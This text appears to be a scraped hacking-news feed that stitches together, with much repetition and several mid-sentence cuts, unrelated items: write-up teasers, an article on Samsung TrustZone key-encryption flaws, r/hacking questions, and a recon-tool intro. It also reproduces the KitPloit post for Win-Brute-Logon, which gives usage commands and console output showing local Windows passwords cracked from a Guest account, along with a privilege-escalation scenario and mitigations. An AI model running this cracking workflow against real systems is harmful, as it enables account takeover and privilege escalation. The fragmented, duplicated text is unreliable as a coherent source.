$$$ Bank Verification Bypass(Broken Object Level Authorisation)
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$$$ Bank Verification Bypass(Broken Object Level Authorisation)
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Hey Readers 👋, Hope you are doing great,Continue reading on InfoSec Write-ups »
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$$$ Bank Verification Bypass(Broken Object Level Authorisation)
https://infosecwriteups.com/bank-verification-bypass-broken-object-level-authorisation-9136bdd43f0f?source=rss------bug_bounty-5
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https://infosecwriteups.com/bank-verification-bypass-broken-object-level-authorisation-9136bdd43f0f?source=rss------bug_bounty-5
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Medium
$$$ Bank 🏦Verification Bypass(Broken Object Level Authorisation)
Hey Readers 👋, Hope you are doing great,
Hey Readers 👋, Hope you are doing great,Continue reading on InfoSec Write-ups » (https://infosecwriteups.com/bank-verification-bypass-broken-object-level-authorisation-9136bdd43f0f?source=rss------bug_bounty-5)
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Medium
$$$ Bank 🏦Verification Bypass(Broken Object Level Authorisation)
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Hacking Articles Tips Tricks Videos Tutorials
Photo
Black Hat Ethical Hacking
Samsung Shattered Encryption on 100M Phones
https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Samsung Shattered Encryption on 100M PhonesPost Views: 185
https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png
Reading Time: 3 Minutes
Samsung shipped an estimated 100 million smartphones with botched encryption, including models ranging from the 2017 Galaxy S8 on up to last year’s Galaxy S21.
One cryptography expert said that ‘serious flaws’ in the way Samsung phones encrypt sensitive material, as revealed by academics, are ’embarrassingly bad.’
Researchers at Tel Aviv University found what they called “severe” cryptographic design flaws that could have let attackers siphon the devices’ hardware-based cryptographic keys: keys that unlock the treasure trove of security-critical data that’s found in smartphones.
What’s more, cyber attackers could even exploit Samsung’s cryptographic missteps – since addressed in multiple CVEs – to downgrade a device’s security protocols. That would set up a phone to be vulnerable to future attacks: a practice known as IV (initialization vector) reuse attacks. IV reuse attacks screw with the encryption randomization that ensures that even if multiple messages with identical plaintext are encrypted, the generated corresponding ciphertexts will each be distinct.
See Also: Complete Offensive Security and Ethical Hacking Course Untrustworthy Implementation of TrustZoneIn a paper (PDF) entitled “Trust Dies in Darkness: Shedding Light on Samsung’s TrustZone Keymaster Design” – written by by Alon Shakevsky, Eyal Ronen and Avishai Wool – the academics explain that nowadays, smartphones control data that includes sensitive messages, images and files; cryptographic key management; FIDO2 web authentication; digital rights management (DRM) data; data for mobile payment services such as Samsung Pay; and enterprise identity management.
The authors are due to give a detailed presentation of the vulnerabilities at the upcoming USENIX Security, 2022 symposium in August.
The design flaws primarily affect devices that use ARM’s TrustZone technology: the hardware support provided by ARM-based Android smartphones (which are the majority) for a Trusted Execution Environment (TEE) to implement security-sensitive functions.
TrustZone splits a phone into two portions, known as the Normal world (for running regular tasks, such as the Android OS) and the Secure world, which handles the security subsystem and where all sensitive resources reside. The Secure world is only accessible to trusted applications used for security-sensitive functions, including encryption.
Matthew Green, associate professor of computer science at the Johns Hopkins Information Security Institute, explained on Twitter that Samsung incorporated “serious flaws” in the way its phones encrypt key material in TrustZone, calling it “embarrassingly bad.”
“They used a single key and allowed IV re-use,” Green said.
“So they could have derived a different key-wrapping key for each key they protect,” he continued. “But instead Samsung basically doesn’t. Then they allow the app-layer code to pick encryption IVs.” The design decision allows for “trivial decryption,” he said.
Ugh god. Serious flaws in the way Samsung phones encrypt key material in TrustZone and it’s embarrassingly bad. They used a single key and allowed IV re-use. https://t.co/XteB3kc8cH pic.twitter.com/4wxA6XBuN2
— Matthew Green (@matthew_d_green) February 22, 2022
See Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH Flaws Enable Security Standards BypassThe security flaws not only allow cybercriminals to steal crypto[...]
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Samsung Shattered Encryption on 100M Phones
https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Samsung Shattered Encryption on 100M PhonesPost Views: 185
https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png
Reading Time: 3 Minutes
Samsung shipped an estimated 100 million smartphones with botched encryption, including models ranging from the 2017 Galaxy S8 on up to last year’s Galaxy S21.
One cryptography expert said that ‘serious flaws’ in the way Samsung phones encrypt sensitive material, as revealed by academics, are ’embarrassingly bad.’
Researchers at Tel Aviv University found what they called “severe” cryptographic design flaws that could have let attackers siphon the devices’ hardware-based cryptographic keys: keys that unlock the treasure trove of security-critical data that’s found in smartphones.
What’s more, cyber attackers could even exploit Samsung’s cryptographic missteps – since addressed in multiple CVEs – to downgrade a device’s security protocols. That would set up a phone to be vulnerable to future attacks: a practice known as IV (initialization vector) reuse attacks. IV reuse attacks screw with the encryption randomization that ensures that even if multiple messages with identical plaintext are encrypted, the generated corresponding ciphertexts will each be distinct.
See Also: Complete Offensive Security and Ethical Hacking Course Untrustworthy Implementation of TrustZoneIn a paper (PDF) entitled “Trust Dies in Darkness: Shedding Light on Samsung’s TrustZone Keymaster Design” – written by by Alon Shakevsky, Eyal Ronen and Avishai Wool – the academics explain that nowadays, smartphones control data that includes sensitive messages, images and files; cryptographic key management; FIDO2 web authentication; digital rights management (DRM) data; data for mobile payment services such as Samsung Pay; and enterprise identity management.
The authors are due to give a detailed presentation of the vulnerabilities at the upcoming USENIX Security, 2022 symposium in August.
The design flaws primarily affect devices that use ARM’s TrustZone technology: the hardware support provided by ARM-based Android smartphones (which are the majority) for a Trusted Execution Environment (TEE) to implement security-sensitive functions.
TrustZone splits a phone into two portions, known as the Normal world (for running regular tasks, such as the Android OS) and the Secure world, which handles the security subsystem and where all sensitive resources reside. The Secure world is only accessible to trusted applications used for security-sensitive functions, including encryption.
Matthew Green, associate professor of computer science at the Johns Hopkins Information Security Institute, explained on Twitter that Samsung incorporated “serious flaws” in the way its phones encrypt key material in TrustZone, calling it “embarrassingly bad.”
“They used a single key and allowed IV re-use,” Green said.
“So they could have derived a different key-wrapping key for each key they protect,” he continued. “But instead Samsung basically doesn’t. Then they allow the app-layer code to pick encryption IVs.” The design decision allows for “trivial decryption,” he said.
Ugh god. Serious flaws in the way Samsung phones encrypt key material in TrustZone and it’s embarrassingly bad. They used a single key and allowed IV re-use. https://t.co/XteB3kc8cH pic.twitter.com/4wxA6XBuN2
— Matthew Green (@matthew_d_green) February 22, 2022
See Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH Flaws Enable Security Standards BypassThe security flaws not only allow cybercriminals to steal crypto[...]
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Black Hat Ethical Hacking
Samsung Shattered Encryption on 100M Phones | Black Hat Ethical Hacking
Samsung shipped an estimated 100 million smartphones with botched encryption, including models ranging from the 2017 Galaxy S8 on up to last year’s Galaxy S21.
Hacking Articles Tips Tricks Videos Tutorials
Black Hat Ethical Hacking Samsung Shattered Encryption on 100M Phones https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Samsung Shattered Encryption on 100M PhonesPost Views: 185 https://www.blackhatethicalhacking.com/wp…
graphic keys stored on the device: They also let attackers bypass security standards such as FIDO2.
According to The Register, as of the researchers’ disclosure of the flaws to Samsung in May 2021, nearly 100 million Samsung Galaxy phones were jeopardized. Threatpost has reached out to Samsung to verify that estimate.
Samsung responded to the academics’ disclosure by issuing a patch for affected devices that addressed CVE-2021-25444: an IV reuse vulnerability in the Keymaster Trusted Application (TA) that runs in the TrustZone. Keymaster TA carries out cryptographic operations in the Secure world via hardware, including a cryptographic engine. The Keymaster TA uses blobs, which are keys “wrapped” (encrypted) via AES-GCM. The vulnerability allowed for decryption of custom key blobs.
Then, in July 2021, the researchers revealed a downgrade attack – one that lets attacker trigger IV reuse vulnerability with privileged process. Samsung issued another patch – to address CVE-2021-25490 – that remoged the legacy blob implementation from devices including Samsung’s Galaxy S10, S20 and S21 phones. The Problem with Designing in the DarkIt’s not just a problem with how Samsung implemented encryption, the researchers said. These problems arise from vendors – they called out Samsung and Qualcomm – keeping their cryptography designs close to the vest, the Tel Aviv U. team asserted.
“Vendors including Samsung and Qualcomm maintain secrecy around their implementation and design of TZOSs and TAs,” they wrote in their paper’s conclusion.
“As we have shown, there are dangerous pitfalls when dealing with cryptographic systems. The design and implementation details should be well audited and reviewed by independent researchers and should not rely on the difficulty of reverse engineering proprietary systems.” See Also: Offensive Security Tool: Swaks – Swiss Army Knife for SMTP ‘No Security in Obscurity’Mike Parkin, senior technical engineer at enterprise cyber risk remediation SaaS provider Vulcan Cyber, told Threatpost on Wednesday that getting cryptography right isn’t exactly child’s play. It’s ” a non-trivial challenge,” he said via email. “It is by nature complex and the number of people who can do proper analysis, true experts in the field, is limited.
Parkin understands the reasons cryptologists push for open standards and transparency on how algorithms are designed and implemented, he said: “A properly designed and implemented encryption scheme relies on the keys and remains secure even if an attacker knows the math and how it was coded, as long as they don’t have the key.”
The adage “there is no security in obscurity” applies here, he said, noting that the researchers were able to reverse engineer Samsung’s implementation and identify the flaws. “If university researchers could do this, it is certain that well-funded State, State sponsored, and large criminal organizations can do it too,” Parkin said.
John Bambenek, principal threat hunter at the digital IT and security operations company Netenrich, joins Parkin on the “open it up” side. “Proprietary and closed encryption design has always been a case study in failure,” he noted via email on Wednesday, referring to the “wide range of human rights abuses enabled by cell phone compromises,” such as those perpetrated with the notorious Pegasus spyware.
“Manufacturers should be more transparent and allow for independent review,” Bambenek said.
While most users have little to worry about with these (since-patched) flaws, they “could be weaponized against individuals who are subject to state-level persecution, and it could perhaps be utilized by stalkerware,” he added.
Eugene Kolodenker, staff security intelligence engineer at endpoint-to-cloud security company Lookout, agreed that best practice dictates designing security systems “under the assumption that the design and implementation of the system will be reverse-engineered[...]
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According to The Register, as of the researchers’ disclosure of the flaws to Samsung in May 2021, nearly 100 million Samsung Galaxy phones were jeopardized. Threatpost has reached out to Samsung to verify that estimate.
Samsung responded to the academics’ disclosure by issuing a patch for affected devices that addressed CVE-2021-25444: an IV reuse vulnerability in the Keymaster Trusted Application (TA) that runs in the TrustZone. Keymaster TA carries out cryptographic operations in the Secure world via hardware, including a cryptographic engine. The Keymaster TA uses blobs, which are keys “wrapped” (encrypted) via AES-GCM. The vulnerability allowed for decryption of custom key blobs.
Then, in July 2021, the researchers revealed a downgrade attack – one that lets attacker trigger IV reuse vulnerability with privileged process. Samsung issued another patch – to address CVE-2021-25490 – that remoged the legacy blob implementation from devices including Samsung’s Galaxy S10, S20 and S21 phones. The Problem with Designing in the DarkIt’s not just a problem with how Samsung implemented encryption, the researchers said. These problems arise from vendors – they called out Samsung and Qualcomm – keeping their cryptography designs close to the vest, the Tel Aviv U. team asserted.
“Vendors including Samsung and Qualcomm maintain secrecy around their implementation and design of TZOSs and TAs,” they wrote in their paper’s conclusion.
“As we have shown, there are dangerous pitfalls when dealing with cryptographic systems. The design and implementation details should be well audited and reviewed by independent researchers and should not rely on the difficulty of reverse engineering proprietary systems.” See Also: Offensive Security Tool: Swaks – Swiss Army Knife for SMTP ‘No Security in Obscurity’Mike Parkin, senior technical engineer at enterprise cyber risk remediation SaaS provider Vulcan Cyber, told Threatpost on Wednesday that getting cryptography right isn’t exactly child’s play. It’s ” a non-trivial challenge,” he said via email. “It is by nature complex and the number of people who can do proper analysis, true experts in the field, is limited.
Parkin understands the reasons cryptologists push for open standards and transparency on how algorithms are designed and implemented, he said: “A properly designed and implemented encryption scheme relies on the keys and remains secure even if an attacker knows the math and how it was coded, as long as they don’t have the key.”
The adage “there is no security in obscurity” applies here, he said, noting that the researchers were able to reverse engineer Samsung’s implementation and identify the flaws. “If university researchers could do this, it is certain that well-funded State, State sponsored, and large criminal organizations can do it too,” Parkin said.
John Bambenek, principal threat hunter at the digital IT and security operations company Netenrich, joins Parkin on the “open it up” side. “Proprietary and closed encryption design has always been a case study in failure,” he noted via email on Wednesday, referring to the “wide range of human rights abuses enabled by cell phone compromises,” such as those perpetrated with the notorious Pegasus spyware.
“Manufacturers should be more transparent and allow for independent review,” Bambenek said.
While most users have little to worry about with these (since-patched) flaws, they “could be weaponized against individuals who are subject to state-level persecution, and it could perhaps be utilized by stalkerware,” he added.
Eugene Kolodenker, staff security intelligence engineer at endpoint-to-cloud security company Lookout, agreed that best practice dictates designing security systems “under the assumption that the design and implementation of the system will be reverse-engineered[...]
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Hacking Articles Tips Tricks Videos Tutorials
graphic keys stored on the device: They also let attackers bypass security standards such as FIDO2. According to The Register, as of the researchers’ disclosure of the flaws to Samsung in May 2021, nearly 100 million Samsung Galaxy phones were jeopardized.…
.”
The same goes for the risk of it being disclosed or even leaked, he commented via email to Threatpost.
He cited an example: AES, which is the US standard of cryptography and accepted for top-secret information, is an open specification. “This means that the implementation of it is not kept secret, which has allowed for rigorous research, verification, and validation over the past 20 years,” Kolodenker said.
Still, AES comes with many challenges, he granted, and “is often done incorrectly.”
He thinks that Samsung’s choice to use AES was a good decision. Unfortunately, the company “did not fully understand how to do so properly.”
An audit of the whole system “might have prevented this problem,” Kolodenker hypothesized.
Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?
If you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com
See Also: How ILOVEYOU worm became the first global computer virus pandemic Source: threatpost.com Source Linkhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/4346-article-220222-airtags-body-text-90x90.jpg AirTag clone bypassed Apple’s tracking-protection features, claims researcher1 day ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Banner-Img-AWS-90x90.jpg Introducing Ghostbuster – AWS security tool protects against dangling elastic IP takeovers2 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/zabbix_blog_java-apps-90x90.png Critical vulnerabilities in Zabbix Web Frontend allow authentication bypass, code execution on servers3 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/ezgif.com-gif-maker-4-1-90x90.jpg GitHub code scanning now finds more security vulnerabilities6 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/012qzWe52HXVPxkc8nUrPyv-1.fit_lim.size_1200x630.v1617817629-90x90.jpg Massive LinkedIn Phishing, Bot Attacks Feed on the Job-Hungry1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Unredacter-Pixelize-90x90.gif New tool can uncover redacted, pixelated text to reveal sensitive data1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/ezgif.com-gif-maker-3-1-90x90.jpg Adobe: Zero-Day Magento 2 RCE Bug Under Active Attack1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/banner-2022.1-release-90x90.jpg Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/acastro_210104_1777_google_0001-90x90.jpg Google Project Zero: Vendors are now quicker at fixing zero-days1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Apple-Warning-90x90.jpg Apple patches new zero-day exploited to hack iPhones, iPads, Macs2 weeks ago
The post Samsung Shattered Encryption on 100M Phones first appeared on Black Hat Ethical Hacking.
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The same goes for the risk of it being disclosed or even leaked, he commented via email to Threatpost.
He cited an example: AES, which is the US standard of cryptography and accepted for top-secret information, is an open specification. “This means that the implementation of it is not kept secret, which has allowed for rigorous research, verification, and validation over the past 20 years,” Kolodenker said.
Still, AES comes with many challenges, he granted, and “is often done incorrectly.”
He thinks that Samsung’s choice to use AES was a good decision. Unfortunately, the company “did not fully understand how to do so properly.”
An audit of the whole system “might have prevented this problem,” Kolodenker hypothesized.
Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?
If you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com
See Also: How ILOVEYOU worm became the first global computer virus pandemic Source: threatpost.com Source Linkhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/4346-article-220222-airtags-body-text-90x90.jpg AirTag clone bypassed Apple’s tracking-protection features, claims researcher1 day ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Banner-Img-AWS-90x90.jpg Introducing Ghostbuster – AWS security tool protects against dangling elastic IP takeovers2 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/zabbix_blog_java-apps-90x90.png Critical vulnerabilities in Zabbix Web Frontend allow authentication bypass, code execution on servers3 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/ezgif.com-gif-maker-4-1-90x90.jpg GitHub code scanning now finds more security vulnerabilities6 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/012qzWe52HXVPxkc8nUrPyv-1.fit_lim.size_1200x630.v1617817629-90x90.jpg Massive LinkedIn Phishing, Bot Attacks Feed on the Job-Hungry1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Unredacter-Pixelize-90x90.gif New tool can uncover redacted, pixelated text to reveal sensitive data1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/ezgif.com-gif-maker-3-1-90x90.jpg Adobe: Zero-Day Magento 2 RCE Bug Under Active Attack1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/banner-2022.1-release-90x90.jpg Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/acastro_210104_1777_google_0001-90x90.jpg Google Project Zero: Vendors are now quicker at fixing zero-days1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Apple-Warning-90x90.jpg Apple patches new zero-day exploited to hack iPhones, iPads, Macs2 weeks ago
The post Samsung Shattered Encryption on 100M Phones first appeared on Black Hat Ethical Hacking.
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hacking: security in practice
Not for ill intentions
submitted by /u/Godsent2021
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Not for ill intentions
submitted by /u/Godsent2021
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reddit
Not for ill intentions
Posted in r/hacking by u/Godsent2021 • 0 points and 0 comments
hacking: security in practice
Determine extension from binary
I've got a binary file, it has a non executable extension, I changed the hex header to that of a elf file '7F 45 4C 46'. But still the file remains unexecutable. Any clue on how to deal with binary files?
submitted by /u/ultimate_smash
[link] [comments]
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Determine extension from binary
I've got a binary file, it has a non executable extension, I changed the hex header to that of a elf file '7F 45 4C 46'. But still the file remains unexecutable. Any clue on how to deal with binary files?
submitted by /u/ultimate_smash
[link] [comments]
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reddit
Determine extension from binary
I've got a binary file, it has a non executable extension, I changed the hex header to that of a elf file '7F 45 4C 46'. But still the file...
hacking: security in practice
Is wifite or other tools 100%
I'm in the beginning of my studies and get into networks and network attacks. While testing wifite it couldn't intercept the password after all attack tries. I'm just wondering if I did something wrong or if it's not something that's always sure to work. The network didn't have WPS on.
submitted by /u/gansow
[link] [comments]
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Is wifite or other tools 100%
I'm in the beginning of my studies and get into networks and network attacks. While testing wifite it couldn't intercept the password after all attack tries. I'm just wondering if I did something wrong or if it's not something that's always sure to work. The network didn't have WPS on.
submitted by /u/gansow
[link] [comments]
___________________________
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reddit
Is wifite or other tools 100%
I'm in the beginning of my studies and get into networks and network attacks. While testing wifite it couldn't intercept the password after all...
Hacking on Medium
Cracking Aadhar PDF password in an ineffective way ,but with 100% success-rate!
https://cdn-images-1.medium.com/max/710/1*9lRqfHHDXpocUwWR-JWKkg.jpeg
Haha, It’s been a while since I wrote my Last article. So, this time I come up with an interesting topic!
Continue reading on Medium »
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Cracking Aadhar PDF password in an ineffective way ,but with 100% success-rate!
https://cdn-images-1.medium.com/max/710/1*9lRqfHHDXpocUwWR-JWKkg.jpeg
Haha, It’s been a while since I wrote my Last article. So, this time I come up with an interesting topic!
Continue reading on Medium »
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Medium
Cracking Aadhar PDF password in an ineffective way ,but with 100% success-rate!
Haha, It’s been a while since I wrote my Last article. So, this time I come up with an interesting topic!
KitPloit - PenTest Tools!
Win-Brute-Logon - Crack Any Microsoft Windows Users Password Without Any Privilege (Guest Account Included)
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Win-Brute-Logon - Crack Any Microsoft Windows Users Password Without Any Privilege (Guest Account Included)
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KitPloit - PenTest & Hacking Tools
Win-Brute-Logon - Crack Any Microsoft Windows Users Password Without Any Privilege (Guest Account Included)
Win-Brute-Logon - Crack Any Microsoft Windows Users Password Without Any Privilege (Guest Account Included)
http://www.kitploit.com/2022/02/win-brute-logon-crack-any-microsoft.html
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http://www.kitploit.com/2022/02/win-brute-logon-crack-any-microsoft.html
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KitPloit - PenTest & Hacking Tools
Win-Brute-Logon - Crack Any Microsoft Windows Users Password Without Any Privilege (Guest Account Included)
This PoC was ported in pure PowerShell: https://github.com/DarkCoderSc/power-brute-logon
Win Brute Logon (Proof Of Concept) Release date: 2020-05-14 Target: Windows XP to Latest Windows 10 (https://www.kitploit.com/search/label/Windows%2010) Version (1909) Weakness location : LogonUserA, LogonUserW, CreateProcessWithLogonA, CreateProcessWithLogonW Usage Wordlist File WinBruteLogon.exe -u -w Stdin Wordlist type | WinBruteLogon.exe -u - ChangeLog 2020/05/23 Now support stdin for wordlist. Few code optimization. Introduction This PoC is more what I would call a serious weakness in Microsoft Windows Authentication (https://www.kitploit.com/search/label/Authentication) mechanism than a vulnerability. The biggest issue is related to the lack of privilege required to perform such actions. Indeed, from a Guest account (The most limited account on Microsoft Windows), you can crack the password of any available local users. Find out which users exists using command : net user This PoC is using multithreading (https://www.kitploit.com/search/label/Multithreading) to speed up the process and support both 32 and 64bit. PoC Test Scenario (With a Guest Account) Tested on Windows 10 Install and configure a freshly updated Windows 10 virtual or physical machine. In my case full Windows version was : 1909 (OS Build 18363.778) Log as administrator and lets create two different accounts : one administrator and one regular user. Both users are local. /!\ Important notice: I used the Guest account for the demo but this PoC is not only limited to Guest account, it will work from any account / group (guest user / regular user / admin user etc...) Create a new admin user net user darkcodersc /add net user darkcodersc trousers (trousers is the password) net localgroup administrators (https://www.kitploit.com/search/label/Administrators) darkcodersc /add Create a regular user net user HackMe /add net user HackMe ozlq6qwm (ozlq6qwm is the password) Create a new Guest account net user GuestUser /add net localgroup users GuestUser /delete net localgroup guests GuestUser /add Get a Wordlist In my case both trousers and ozlq6qwm are in SecList : https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10k-most-common.txt Start the attack Logoff from administrator account or restart your machine and log to the Guest account. Place the PoC executable anywhere you have access as Guest user. Usage : WinBruteLogon.exe -v -u -w -v is optional, it design the verbose mode. By default, domain name is the value designated by %USERDOMAIN% env var. You can specify a custom name with option -d Crack First User : darkcodersc (Administrator) prompt(guest)>WinBruteLogon.exe -v -u darkcodersc -w 10k-most-common.txt Wait few seconds to see the following result: [ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=2260, handle=364
[INFO] New "TWorker" Thread created with id=3712, handle=532
[DONE] Done.
[ OK ] Password for username=[darkcodersc] and domain=[DESKTOP-0885FP1] found = [trousers]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=2260, handle=364) Thread successfully terminated.
[INFO] "TWorkers"(id=3712, handle=532) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
Crack Second User : HackMe (Regular User) prompt(guest)>WinBruteLogon.exe -v -u HackMe -w 10k-most-common.txt Wait few seconds to see the following result: [ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=5748, handle=336
[INFO] New "TWorker" Thread created with id=4948, handle=140
[DONE] Done.
[ OK ] Password for username=[HackMe] and domain=[DESKTOP-0885FP1] found = [ozlq6qwm]
___________________________
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Win Brute Logon (Proof Of Concept) Release date: 2020-05-14 Target: Windows XP to Latest Windows 10 (https://www.kitploit.com/search/label/Windows%2010) Version (1909) Weakness location : LogonUserA, LogonUserW, CreateProcessWithLogonA, CreateProcessWithLogonW Usage Wordlist File WinBruteLogon.exe -u -w Stdin Wordlist type | WinBruteLogon.exe -u - ChangeLog 2020/05/23 Now support stdin for wordlist. Few code optimization. Introduction This PoC is more what I would call a serious weakness in Microsoft Windows Authentication (https://www.kitploit.com/search/label/Authentication) mechanism than a vulnerability. The biggest issue is related to the lack of privilege required to perform such actions. Indeed, from a Guest account (The most limited account on Microsoft Windows), you can crack the password of any available local users. Find out which users exists using command : net user This PoC is using multithreading (https://www.kitploit.com/search/label/Multithreading) to speed up the process and support both 32 and 64bit. PoC Test Scenario (With a Guest Account) Tested on Windows 10 Install and configure a freshly updated Windows 10 virtual or physical machine. In my case full Windows version was : 1909 (OS Build 18363.778) Log as administrator and lets create two different accounts : one administrator and one regular user. Both users are local. /!\ Important notice: I used the Guest account for the demo but this PoC is not only limited to Guest account, it will work from any account / group (guest user / regular user / admin user etc...) Create a new admin user net user darkcodersc /add net user darkcodersc trousers (trousers is the password) net localgroup administrators (https://www.kitploit.com/search/label/Administrators) darkcodersc /add Create a regular user net user HackMe /add net user HackMe ozlq6qwm (ozlq6qwm is the password) Create a new Guest account net user GuestUser /add net localgroup users GuestUser /delete net localgroup guests GuestUser /add Get a Wordlist In my case both trousers and ozlq6qwm are in SecList : https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10k-most-common.txt Start the attack Logoff from administrator account or restart your machine and log to the Guest account. Place the PoC executable anywhere you have access as Guest user. Usage : WinBruteLogon.exe -v -u -w -v is optional, it design the verbose mode. By default, domain name is the value designated by %USERDOMAIN% env var. You can specify a custom name with option -d Crack First User : darkcodersc (Administrator) prompt(guest)>WinBruteLogon.exe -v -u darkcodersc -w 10k-most-common.txt Wait few seconds to see the following result: [ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=2260, handle=364
[INFO] New "TWorker" Thread created with id=3712, handle=532
[DONE] Done.
[ OK ] Password for username=[darkcodersc] and domain=[DESKTOP-0885FP1] found = [trousers]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=2260, handle=364) Thread successfully terminated.
[INFO] "TWorkers"(id=3712, handle=532) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
Crack Second User : HackMe (Regular User) prompt(guest)>WinBruteLogon.exe -v -u HackMe -w 10k-most-common.txt Wait few seconds to see the following result: [ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=5748, handle=336
[INFO] New "TWorker" Thread created with id=4948, handle=140
[DONE] Done.
[ OK ] Password for username=[HackMe] and domain=[DESKTOP-0885FP1] found = [ozlq6qwm]
___________________________
@hacking_Attack
@Hacking_Video
GitHub
GitHub - DarkCoderSc/PowerBruteLogon: PowerBruteLogon (Ported version of WinBruteLogon in pure PowerShell)
PowerBruteLogon (Ported version of WinBruteLogon in pure PowerShell) - GitHub - DarkCoderSc/PowerBruteLogon: PowerBruteLogon (Ported version of WinBruteLogon in pure PowerShell)
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=5748, handle=336) Thread successfully terminated.
[INFO] "TWorkers"(id=4948, handle=140) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
Real world scenario If you gain access to a low privileged user, you could crack the password of a more privileged user and escalate your privilege. Mitigation (General) Disable guest(s) account(s) if present. Application white-listing. Follow the guidelines to create and keep a password strong. Apply this to all users. Implement Security Lockout Policy (Not present by default) Open secpol.msc then go to Account Policies > Account Lockout Policy and edit value Account lockout threshold with desired value from (1 to 999). Value represent the number of possible attempt before getting locked. /!\ LockDown Policy wont work on Administrator account. At this moment, best protection (https://www.kitploit.com/search/label/Protection) for Administrator account (if Enabled) is to setup a very complex password. Weakness Report A report was sent to Microsoft Security Team. They should at least implement by default account lockout. Actually it is not.
Download Win-Brute-Logon (https://github.com/DarkCoderSc/win-brute-logon)
___________________________
@hacking_Attack
@Hacking_Video
[INFO] "TWorkers"(id=5748, handle=336) Thread successfully terminated.
[INFO] "TWorkers"(id=4948, handle=140) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
Real world scenario If you gain access to a low privileged user, you could crack the password of a more privileged user and escalate your privilege. Mitigation (General) Disable guest(s) account(s) if present. Application white-listing. Follow the guidelines to create and keep a password strong. Apply this to all users. Implement Security Lockout Policy (Not present by default) Open secpol.msc then go to Account Policies > Account Lockout Policy and edit value Account lockout threshold with desired value from (1 to 999). Value represent the number of possible attempt before getting locked. /!\ LockDown Policy wont work on Administrator account. At this moment, best protection (https://www.kitploit.com/search/label/Protection) for Administrator account (if Enabled) is to setup a very complex password. Weakness Report A report was sent to Microsoft Security Team. They should at least implement by default account lockout. Actually it is not.
Download Win-Brute-Logon (https://github.com/DarkCoderSc/win-brute-logon)
___________________________
@hacking_Attack
@Hacking_Video
KitPloit - PenTest & Hacking Tools
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Black Hat Ethical Hacking
Recon Tool: Metagoofil
https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Recon Tool: MetagoofilPost Views: 223 https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png Reading Time: 2 Minutes
Recon Tool: Metagoofil GitHub Link MetagoofilIntroductionWhenever you are starting Penetration Testing, the first steps are recon and OSINT. These are the most important ones that would determine how you will proceed next to perform attacks and exploitation. A lot of times sensitive documents and info are publicly available that could contain info impacting your company and often from employees that shared wrongly files or who left the company leaving these traces for attackers to harvest in your recon process.
